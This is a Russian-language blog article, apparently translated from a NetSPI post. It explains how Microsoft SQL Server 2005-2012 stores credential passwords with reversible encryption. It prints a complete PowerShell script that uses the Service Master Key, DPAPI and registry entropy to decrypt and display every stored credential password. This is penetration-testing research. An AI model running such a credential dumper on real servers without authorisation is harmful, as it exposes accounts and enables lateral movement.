Воскресенье, 22 марта 2015 11:40

Дешифруем пароли пользователей в MSSQL 2005, 2008, 2012

Автор
Оцените материал
(1 Голосовать)


Учетные записи SQL-сервер
а

Microsoft SQL Server позволяет добавлять учетные записи в базу данных. Подобные аккаунты, обычно представляющие собой комбинацию имени пользователя и пароля, могут использоваться для доступа к ресурсам, находящимся вне SQL-сервера. Одна учетная запись может использоваться несколькими пользователями.

Простой пример – использование учетной записи прокси-сервера. Во время запуска xp_cmdshell по умолчанию используются права служебной учетной записи SQL-сервера (SQL Server service account). Однако учетную запись прокси-сервера можно сконфигурировать так, что сохраненная процедура xp_cmdshell использовала менее привилегированный аккаунт операционной системы, а не служебную учетную запись, часто наделенную расширенными полномочиями.

 

Когда учетные записи сохраняются в базу SQL-сервера, пароли шифруются при помощи обратимого алгоритма шифрования (чтобы не возникало никаких проблем при использовании этих аккаунтов). Следовательно, становится возможным расшифровка паролей, чему, собственно, и посвящена данная статья.

Где хранятся пароли

MSSQL хранит пароли к учетным записям в таблице master.sys.sysobjvalues. Я смог выяснить местонахождение зашифрованных паролей после просмотра описания представленияmaster.sys.credentials при помощи следующего запроса:

SELECT object_definition(OBJECT_ID('sys.credentials'))

Компания Microsoft дает довольно размытое описание таблицы master.sys.sysobjvalues«Таблица есть в каждой базе данных и хранит значения общих свойств для каждой записи. На каждое свойство предусмотрена отдельная строка таблицы». Таблица master.sys.sysobjvalues содержит огромное количество информации. У свойств, имеющих отношение к учетным записям, в колонке valueclass находится значение 28. Зашифрованные пароли хранятся в колонке imageval с valclass=28 и valnum=2.

К таблице master.sys.sysobjvalues можно получить доступ только при помощи выделенного административного соединения (Dedicated Administrative Connection, DAC) (более подробно про DAC написано в http://technet.microsoft.com/en-us/library/ms178068%28v=sql.105%29.aspx).

Алгоритм шифрования в MSSQL

Основные моменты, касающиеся шифрования в MSSQL, описаны в статьеhttps://blog.netspi.com/decrypting-mssql-database-link-server-passwords/. В двух словах: пароли шифруются при помощи главного ключа службы (Service Master Key, SMK), который можно получить, используя DPAPI (Data Protection Application Programming Interface).

Расшифровка паролей

В зависимости от версии MSSQL-сервера пароли шифруются при помощи алгоритма AES (MSSQL 2012+) или 3DES (MSSQL 2008 и более ранние версии). Пароли, хранящиеся в таблице sys.sysobjvalues в колонке imageval, перед дешифровкой должны быть слегка обработаны (тем же самым способом, что пароли связных серверов). После парсинга пароли можно расшифровать при помощи SMK.

Расшифровка паролей при помощи powershell-скрипта

Немного модифицированная версия «Get-MSSQLLinkPasswords.psm1» с предсказуемым именем «Get-MSSQLCredentialPasswords.psm1» автоматизирует расшифровку паролей. Скрипт:

function Get-MSSQLCredentialPasswords{
   
  <#
  .SYNOPSIS
  Extract and decrypt MSSQL Credentials passwords.
   
  Author: Antti Rantasaari 2014, NetSPI
  License: BSD 3-Clause
   
  .DESCRIPTION
  Get-MSSQLCredentialPasswords extracts and decrypts the connection credentials for all saved Credentials.
   
  .INPUTS
  None
   
  .OUTPUTS
  System.Data.DataRow
   
  Returns a datatable consisting of MSSQL instance name, credential name, user account, and decrypted password.
   
  .EXAMPLE
  C:\PS> Get-MSSQLCredentialPasswords
   
  Instance Credential User Password
  -------- ---------- ---- --------
  SQLEXPRESS test test test
  SQLEXPRESS user1 user1 Passw0rd01!
  SQL2012 user2 user2 Passw0rd01!
  SQL2012 VAULT user3 !@#Sup3rS3cr3tP4$$w0rd!!$$
   
  .NOTES
  For successful execution, the following configurations and privileges are needed:
  - DAC connectivity to MSSQL instances
  - Local administrator privileges (needed to access registry key)
  - Sysadmin privileges to MSSQL instances
   
  .LINK
  http://www.netspi.com/blog/
  #>
  Add-Type -assembly System.Security
  Add-Type -assembly System.Core
   
  # Set local computername and get all SQL Server instances
  $ComputerName = $Env:computername
  $SqlInstances = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server' -Name InstalledInstances).InstalledInstances
   
  $Results = New-Object "System.Data.DataTable"
  $Results.Columns.Add("Instance") | Out-Null
  $Results.Columns.Add("Credential") | Out-Null
  $Results.Columns.Add("User") | Out-Null
  $Results.Columns.Add("Password") | Out-Null
   
  foreach ($InstanceName in $SqlInstances) {
   
  # Start DAC connection to SQL Server
  # Default instance MSSQLSERVER -> instance name cannot be used in connection string
  if ($InstanceName -eq "MSSQLSERVER") {
  $ConnString = "Server=ADMIN:$ComputerName\;Trusted_Connection=True"
  }
  else {
  $ConnString = "Server=ADMIN:$ComputerName\$InstanceName;Trusted_Connection=True"
  }
  $Conn = New-Object System.Data.SqlClient.SQLConnection($ConnString);
   
  Try{$Conn.Open();}
  Catch{
  Write-Error "Error creating DAC connection: $_.Exception.Message"
  Continue
  }
  if ($Conn.State -eq "Open"){
  # Query Service Master Key from the database - remove padding from the key
  # key_id 102 eq service master key, thumbprint 3 means encrypted with machinekey
  $SqlCmd="SELECT substring(crypt_property,9,len(crypt_property)-8) FROM sys.key_encryptions WHERE key_id=102 and (thumbprint=0x03 or thumbprint=0x0300000001)"
  $Cmd = New-Object System.Data.SqlClient.SqlCommand($SqlCmd,$Conn);
  $SmkBytes=$Cmd.ExecuteScalar()
   
  # Get entropy from the registry - hopefully finds the right SQL server instance
  $RegPath = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\sql\").$InstanceName
  [byte[]]$Entropy = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\$RegPath\Security\").Entropy
   
  # Decrypt the service master key
  $ServiceKey = [System.Security.Cryptography.ProtectedData]::Unprotect($SmkBytes, $Entropy, 'LocalMachine')
   
  # Choose the encryption algorithm based on the SMK length - 3DES for 2008, AES for 2012
  # Choose IV length based on the algorithm
  if (($ServiceKey.Length -eq 16) -or ($ServiceKey.Length -eq 32)) {
  if ($ServiceKey.Length -eq 16) {
  $Decryptor = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
  $IvLen=8
  } elseif ($ServiceKey.Length -eq 32){
  $Decryptor = New-Object System.Security.Cryptography.AESCryptoServiceProvider
  $IvLen=16
  }
   
  # Query credential password information from the DB
  # Remove header from imageval, extract IV (as iv) and ciphertext (as pass)
  # Not sure what valclass and valnum mean, could not find documentation.. but valclass 28 with valnum 2 seems to store the encrypted password
   
  $SqlCmd = "SELECT name,credential_identity,substring(imageval,5,$ivlen) iv, substring(imageval,$($ivlen+5),len(imageval)-$($ivlen+4)) pass from sys.credentials cred inner join sys.sysobjvalues obj on cred.credential_id = obj.objid where valclass=28 and valnum=2"
   
  $Cmd = New-Object System.Data.SqlClient.SqlCommand($SqlCmd,$Conn);
  $Data=$Cmd.ExecuteReader()
  $Dt = New-Object "System.Data.DataTable"
  $Dt.Load($Data)
   
  # Go through each row in results
  foreach ($Logins in $Dt) {
   
  # decrypt the password using the service master key and the extracted IV
  $Decryptor.Padding = "None"
  $Decrypt = $Decryptor.CreateDecryptor($ServiceKey,$Logins.iv)
  $Stream = New-Object System.IO.MemoryStream (,$Logins.pass)
  $Crypto = New-Object System.Security.Cryptography.CryptoStream $Stream,$Decrypt,"Write"
   
  $Crypto.Write($Logins.pass,0,$Logins.pass.Length)
  [byte[]]$Decrypted = $Stream.ToArray()
   
  # convert decrypted password to unicode
  $EncodingType = "System.Text.UnicodeEncoding"
  $Encode = New-Object $EncodingType
   
  # Print results - removing the weird padding (8 bytes in the front, some bytes at the end)...
  # Might cause problems but so far seems to work.. may be dependant on SQL server version...
  # If problems arise remove the next three lines..
  $i=8
  foreach ($b in $Decrypted) {if ($Decrypted[$i] -ne 0 -and $Decrypted[$i+1] -ne 0 -or $i -eq $Decrypted.Length) {$i -= 1; break;}; $i += 1;}
  $Decrypted = $Decrypted[8..$i]
  $Results.Rows.Add($InstanceName,$($Logins.name),$($Logins.credential_identity),$($Encode.GetString($Decrypted))) | Out-Null
  }
  } else {
  Write-Error "Unknown key size"
  }
  $Conn.Close();
  }
  }
  $Results
  }

 

 

Скрипт должен быть запущен локально на MSSQL-сервере (поскольку DPAPI требует доступа к локальному машинному ключу). Пользователь, запускающий скрипт, должен иметь привилегии администратора (sysadmin) ко всем экземплярам базы данных (требуется для DAC-соединения) и локального администратора Windows-сервера (для доступа к байтам с энтропией в реестре). Кроме того, если включен контроль учетных записей пользователя (User Account Control, UAC), скрипт должен быть запущен от имени администратора.

Ниже показан алгоритм работы скрипта.

1. Идентификация всех экземпляров MSSQL на сервере.

2. Создание DAC-соединения к каждому экземпляру.

3. Выборка зашифрованных паролей из таблицы master.sys.sysobjvalues (колонка imageval) для каждого экземпляра.

4. Получение главного ключа службы (Service Master Key, SMK) из таблицы master.sys.key_encryptions (строки со значениями key_id равным 102). Получение версии SQL-сервера, зашифрованной как LocalMachine, на основе колонки thumbprint.

5. Извлечение значения энтропии из реестра по адресу HKLM:\\SOFTWARE\Microsoft\Microsoft SQL Server\[instancename]\Security\Entropy.

6. Использование полученной информации для дешифровки SMK.

7. Определение алгоритма шифрования (AES или 3DES), который использовался для шифрования SMK, на основе версии SQL-сервера и длины SMK-ключа.

8. Дешифровка паролей при помощи SMK.

9. В случае успеха скрипт отображает расшифрованные пароли.

Пример работы скрипта:

 

PS C:\> Get-MSSQLCredentialPasswords | out-gridview

Прочитано 3525 раз Последнее изменение Воскресенье, 22 марта 2015 11:48

Оставить комментарий

Убедитесь, что вы вводите (*) необходимую информацию, где нужно
HTML-коды запрещены